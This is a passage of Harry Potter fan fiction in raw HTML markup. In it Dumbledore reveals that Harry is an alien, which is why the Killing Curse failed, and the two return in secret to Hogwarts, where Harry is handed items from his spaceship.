color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Thanks,&#8221; said Harry quietly and even his voice had suffered alterations as Dumbledore could notice. It was low and sensual in its modulation&#8230; quite pleasant, almost captivating in its intonation. With a slight smile in his lips Albus pointed to two chairs and moved towards them.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Gesturing for Harry to sit, Albus did likewise, noticing how Harry seemed to be treating everything as if it was made of crystal, coupled with a sense of unfamiliarity with his bigger body, which clashed with the usual actions of the well-coordinated Gryffindor.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry sat and lightly tapping Fawkes\' body woke the sleeping phoenix. It looked at Harry, then at the headmaster and moved onto the table, taking a spot between the teenager and the ancient man. Fawkes remained silent, looking one moment at his former companion and then to his new one.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">His hands free, Harry simply put them in his lap, gazing at them for a moment before looking back at Dumbledore, holding those eyes with a look of his own.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Harry, I don\'t presume to understand how you must feel right now, but I assure you that you may relax. This is, if I\'m right, natural for you. There is nothing to worry about.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry snorted, a very un-Harry Potter sound, taking in consideration the anger one could feel in such derisory sound, all of it directed to Albus\' little speech.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Natural? With all due respect, sir, how can this be natural?&#8221; he gestured to his body, his voice thick with sarcasm, barely hiding his nervousness.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore sighed. &#8220;To answer that, Harry, I will have to give you the answer to a question you asked me a long time ago. Back then I knew that you were not ready for the weight that will come with the answer, and even now I\'m wondering if you are ready.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">He paused even as Harry\'s eyes widened. It was clear that he had realized which question Albus was speaking of.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;S-sir?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Still this is but idle thinking. What happened has changed everything and now, ready or not, I must give you the answer you so desired. But before I do, I must ask you if you really want to know the truth. Think about it, Harry - this truth will change everything in your life, maybe forever.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry thought. Here was Dumbledore, offering him the key to the reason why his life was as it was, the reason for so many things that made no sense, or at one time had caused him no end of trouble and turmoil.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Still Harry knew he had better to think about it. Dumbledore\'s words, softly said, held a sense of warning. As though that secret was so huge that it would shake the pillars of his world... but then that was something he was used to.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">For a moment he debated whether to ask or not but in the end there was but one possible outcome.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">He opened his mouth and two words came out, simple words which held a world of meanings. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Tell me.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore sighed.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Very well. But I only ask you to think about what I am to say carefully, without letting your emotions cloud your mind.&#8221; Harry nodded, bracing himself for the truth. &#8220;Let\'s start from what I know and the reason why you... changed.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry nodded, butterflies dancing in his stomach. He could feel his pulse race.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;The reason stems from the Killing Curse that Voldemort cast on you. And from surviving it.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Uh? What do you mean? Wasn\'t it the love of my mother that protected me?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore shook his head. &#8220;That protection sent back the curse, but only because you couldn\'t be affected by it, regardless of the protection left by your mother\'s sacrifice.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;And why that? Why is this - &#8221; he gestured to his body, &#8220;&#8230;change related to it?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore\'s blue eyes locked softly with Harry\'s green eyes. &#8220;The curse couldn\'t kill you and that is a fact. It cannot, still. But the moment the curse touched you it tried to fulfill its purpose - killing you. Unable to do so, it wrecked your body in ways that I still cannot understand. The effects of that contact have lingered on your body until today, I think.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Even having survived it, you had the mark of the Killing Curse upon your body. However, your body fought its effects. For the last fourteen years it has tried to purge itself of the remaining energies of the Avadra Kedavra. It makes sense to believe that your body has finally defeated it and cleansed you of the remainings of the Killing Curse. Once that was done, your body sought to reach its proper state, the state you would have been in if you had grown without exposure to Voldemort\'s dark magic.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry opened his mouth but closed it quickly before his look shifted to the ground or to his hands that were clenching and unclenching slowly.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore smiled gently. &#8220;Yes, Harry? Please speak freely. I know the question you wanted to ask and I will answer it but I would prefer you to ask it.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry looked at him a slight blush on his cheeks, barely noticeable under the tan.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Am I that transparent?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore chuckled. &#8220;No, Harry, you are not. Most of the time I cannot guess what is going through your mind. But it is easy to know what question is burning on the tip of your tongue. So I ask you again to say it out loud.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry remained silent for a moment before sighing.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Why didn\'t the curse work on me?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore sighed and at last revealed the truth.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Because the Killing Curse is designed to erradicate all the forms of life that walks upon this land, like humans for example but you, Harry, aren\'t human.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry blanched, if that was possible considering his new tan, before shaking his head in negation.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;No. That&#8230;that can\'t be right. I\'m human! I\'m---&#8221; he closed his eyes before opening them again.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry remained silent for a while before speaking in a weak voice.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;If I\'m not human, then what am I?&#8221; his hands moved to his hair, fingers digging in his scalp in an act of controlled desperation, enticing a sad sound from Fawkes, who shared Dumbledore\'s concern for his new companion.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore gave him one of the gentlest looks he had ever seen. Not even Molly Weasley had ever looked at him in such a fashion, as if he was something so precious and loved.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;I believe that you are familiar with the idea of extraterrestrial life, Harry?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry\'s jaw almost crashed against the floor and his eyes widened so much that they gave the impression of being about to pop out of his sockets. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Immediately Harry blinked and closed his mouth, swallowing soundly even though he felt as if the Sahara desert had been transported to his mouth, so dry it was.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">What Dumbledore had said was too much for him. Harry could feel darkness creeping into his sight. Still he fought the urge to lose consciousness, blinking furiously.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;I... please, professor, please - tell me this is a joke, an error, anything else...&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Albus sighed actually feeling the distress that was emanating from Harry. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;I\'m afraid that I cannot do that, Harry. It is not something easy to bear nor to accept but it is the truth. It is how things are.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">For a long time they said nothing. Even Fawkes remained silent - the only sound coming to them were of the waves crashing into the shore, drowning with their might the sobs that came from Harry.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">---------------------------------------</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">The sea crashed around and upon him, the waves splashing apart against the jagged rocks upon which he was standing. He had lost the notion of time, of how many hours he had been there - his senses overloaded by the powerful presence of the ocean.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">He was soaked from head to toe, his hair dripping water upon his face, now free of glasses, even as the sun battered against him with equal fury. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">And yet he remained there, feeling the force of the elements; respecting it even as he resisted it, feeling stronger each passing moment.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore was right, he was forced to admit. The change was feeling more natural with each passing moment - as if this was how he should have been.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">\n\n</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Again, if Dumbledore was right, then the sensation of strangeness and wrong that assaulted him from time to time during his fifth year had been from the rising struggle from his body to purge the dark magic that had weakened it.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Now that the seal was broken his body was catching up and the sensation of unease was fading fast, like snow melting under the sun.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Thinking back to the moment of his awakening Harry realized that his panic was due in great part to his shock due to the radical change to his body. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Once Albus had explained what was going on to him, that panic had lessened, eclipsed by the truth that Dumbledore had kept from him, revealed at last.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Still it was strange to feel his body changing. Awake now, he was aware of how he was strengthening, how his muscles were growing in size, power and definition by the moment. He even had the notion that if he looked at himself in a mirror he would see his body grow and strengthen.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">But that was the tip of the proverbial iceberg.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">He wasn\'t human.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">That was enough to put everything aside, enough to make him ignore even the dark clouds that hung on the horizon - the dark war Voldemort was ready to unleash upon an unprepared wizarding world.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">He wasn\'t human and that was enough to make him ask a thousand questions which were without answers.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Could he die? How long was his life span? Could he father children? Would his magic work? Could he return to Hogwarts? Where was he from? Did his parents, his true biological parents, love him, care about him? Were they still alive? If so, did they think about him? Where was his home? Why </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">did they send him away?</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">So many questions but so few answers.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">So many questions that </font><font color="Black"><i>needed</i></font><font color="Black"> answers.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">The sounds of steps from behind him reached his ears and Harry wondered how he could have done that. He only knew that the sound had come clearly to him, even with the sea roaring around him. He immediately knew who it was, as there was but one person who could come here.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">He turned just as another big wave fell upon him, crashing against his bare back with enough strength to make any human fall against the sharp volcanic rocks upon where he was standing. But somehow he was able to withstand it. A magical shield deflected the water some three feet away from Dumbledore and yet it let the ambient moisture pass, producing a funny image - The long silvery beard of the Grand Mugwump was dripping wet, his clothes soaked.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;I knew you would be here, Harry...&#8221; Harry nodded in reply to Dumbledore\'s statement, brushing some wet hair away from his forehead as Dumbledore pursed his lips for a moment. &#8220;How are you feeling?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry laughed bitterly.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;As if my whole life has been turned upside down. I don\'t know what to feel or think or even believe. It\'s as though everything has lost its meaning, as if I\'m... lost and can\'t find my way home.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore nodded. &#8220;I understand.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">He paused as another wave crashed around them before speaking again</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;But you see, Harry, whether you are human or not, your species does not define who you are.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;What do you mean?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;It is our actions that define our persons. Tom Riddle was as human as anyone, magic or not, but his acts and decisions have stripped him of any shred of humanity. He has become the monster we are fighting today. Look at Hagrid - a person who is loved and who has a heart bigger than his own body. But he is not fully human, Harry. You may be an alien but your actions have proved more than once that you are a magnificent human being.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Think about it, Harry. Thanks to you, Lily could know the joy of having a life growing within her, a life that for a while was part of her. Thanks to you, she and James had the chance of having a family, of having someone that they loved more than their lives. Thanks to you, to what you are, entire generations have known peace and possessed a chance for love and happiness.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Without your courage, your dedication to others or your love, the world would have been cast in shadows time and time again. Not being human cannot take away the love and affection Ron and Hermione have given to you, nor the love and admiration that Sirius, Remus, Minerva, Hagrid and even Snape have for you, which many others share, me amongst them.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">It was as though someone had pulled the stone he was standing on from under him and he crashed upon his knees, the sheer emotion and truth in the old headmaster\'s words slamming into Harry like a speeding train. Those words brought thousands of images, emotions and sensations back to Harry\'s </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">mind, each validating the words that still hung in the air along with the sounds of the ocean.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;How could I have been that stupid?&#8221; he asked aloud, feeling suddenly ashamed.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore gave him a warm smile as he put a wrinkled hand upon Harry\'s head and ruffled his damp hair before helping the younger man to his feet.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;You aren\'t stupid, Harry. The feelings and questions you have are quite understandable. In my opinion, you have done an admirable job of managing them so far. But still this means that we are going to have to cut our vacation short, at least for now.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;What do you mean, professor?&#8221; he asked, straightening, ignoring the waves crashing upon his body.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;We have to return to Hogwarts. Even though you have started to accept the changes you are experimenting, there are many things that we must know and many more that we have to prepare for.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry nodded. Dumbledore was right as he usually was.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">They needed to be ready, to be prepared.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">To Hogwarts then, he thought grimly.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">---------------------------------------</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">A few hours later both Dumbledore and Harry were walking towards Hogwarts, the old wizard easily keeping up with Harry\'s stride. Fawkes led the way a few meters in front of them.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Contrary to what Harry had assumed when Albus had told him that they were returning to Hogwarts, they hadn\'t cancelled the reservations they had at the hotel, valid for another two and a half months. Dumbledore had told the receptionist that they would return in less than 48 hours.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry hadn\'t the slightest idea how that could be possible but he trusted the old wizard enough to not ask any questions.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">For now he was busied with keeping up with the accentuating changes to his body...</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Despite the hot weather that had descended upon the United Kingdom, Dumbledore had insisted that he wear a thick cloak that would mask his identity even to the Hogwarts staff if they ever happened to meet them. What really bothered Harry was the fact that even with the thick cape and the sun warming it, he could feel no discomfort at all.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">In fact ever since that fateful afternoon he had been able to feel the temperatures, hot and cold, but could feel no discomfort from them. It was as if his body and skin had been modulated to adapt to his surroundings or to suit his needs. He couldn\'t know for sure but that was as good a theory as any other.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Until they had time to do some tests, everything was possible and it wasn\'t doing any good to Harry\'s nerves.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Soon enough they reached the outer walls of Hogwarts School of Witchcraft and Wizardry, but instead of using the main entrance as did all students coming for a year of learning and tutoring, Dumbledore led Harry far from it, walking along one of the imposing walls. After some minutes they reached a portion of the wall that looked like any other, but Albus smiled and drew his wand before touching the wall lightly.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Lines of light spread from the point where the wand had made contact with the stone, revealing an hidden door that opened to let the Headmaster enter.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">\n\n</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry followed immediately and the walls closed just after he had entered. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Fawkes was by now riding on Harry\'s shoulder and seemed to be delighted to be back at the school, piping notes from time to time.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry found himself in a well-illuminated corridor that soon enough led to some stone stairs that brought them to a spacious round room. The room was illuminated by a dozen torches and on the walls Harry could see several doors, each presenting a shield upon which Harry could see some signs </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">of unknown origin. Dumbledore seemed to know them well, as he, without a doubt, redirected himself to one of the doors on his left.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Reaching it, the symbol gave off a soft red light before opening. Harry followed Dumbledore in and was surprised to find himself in the headmaster\'s office, the door hidden behind one of the bookshelves closing behind them once they had entered the room.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Take a seat, Harry. And you can take off the cloak now.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry did so, pausing for a moment to allow Fawkes to fly to his usual perch in the headmaster\'s office. Moving, he took a seat in front of the headmaster\'s desk, an action shared by Dumbledore who also sat down. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Then he looked at Harry intently for a while before speaking.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;First of all, Harry - I want you to understand that I\'m as clueless as you are to your change and its properties, so we are making this trip unto the unknown together. This said, don\'t worry too much about that. These changes, as surprising as they are, are natural to you so one would expect that </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">you have the means to control them inside of you. All clear?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry nodded, not feeling very confident. &#8220;Um, yeah. I think so.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Albus smiled. &#8220;Good. From now on we are going to examine the limits of your body and if the lifting of the seal has produced some alterations in your magic. That is the part that I think will be more easy to identify than the other, as the most physical ones depends without a doubt on the maturity of your body.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;To test that, we will move to one of the rooms that are connected to the doors you saw before. Each of them has been prepared to test you in some way. Before you ask, the quarters of the Order are located there as well but separated from the space we will be using. This is for several reasons but most of all you have to understand that your change must be kept secret, as is your origin. This means keeping it secret from everybody. This includes Miss Granger and Mister Weasley, as well as Sirius and Remus.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;It will be difficult to do so once school starts again, professor. It\'s impossible to miss something like this.&#8221; Harry pointed, gesturing to his new body.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore nodded. &#8220;I know Harry. But if we have one thing on our side, it is time.&#8221; </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Then he rose form his chair and moved towards the bookshelf on one side of the round room. Pulling a worn book from the shelf, the wall behind moved, the shelf dividing into two and moving aside, allowing Dumbledore to enter a small abode that had been previously hidden.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">There was a little shrine there and Dumbledore took a little black box from it. It was barely two feet in length. With one move of his hand, the walls and the shelf returned to their previous positions, nothing remaining to tell of the secret behind the books.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Albus moved back and sitting down again, presented the box to Harry.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;This is yours, Harry. Within, you will find some things that were found on your spaceship. I suppose your biological parents put them there.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Swallowing, Harry took the box from 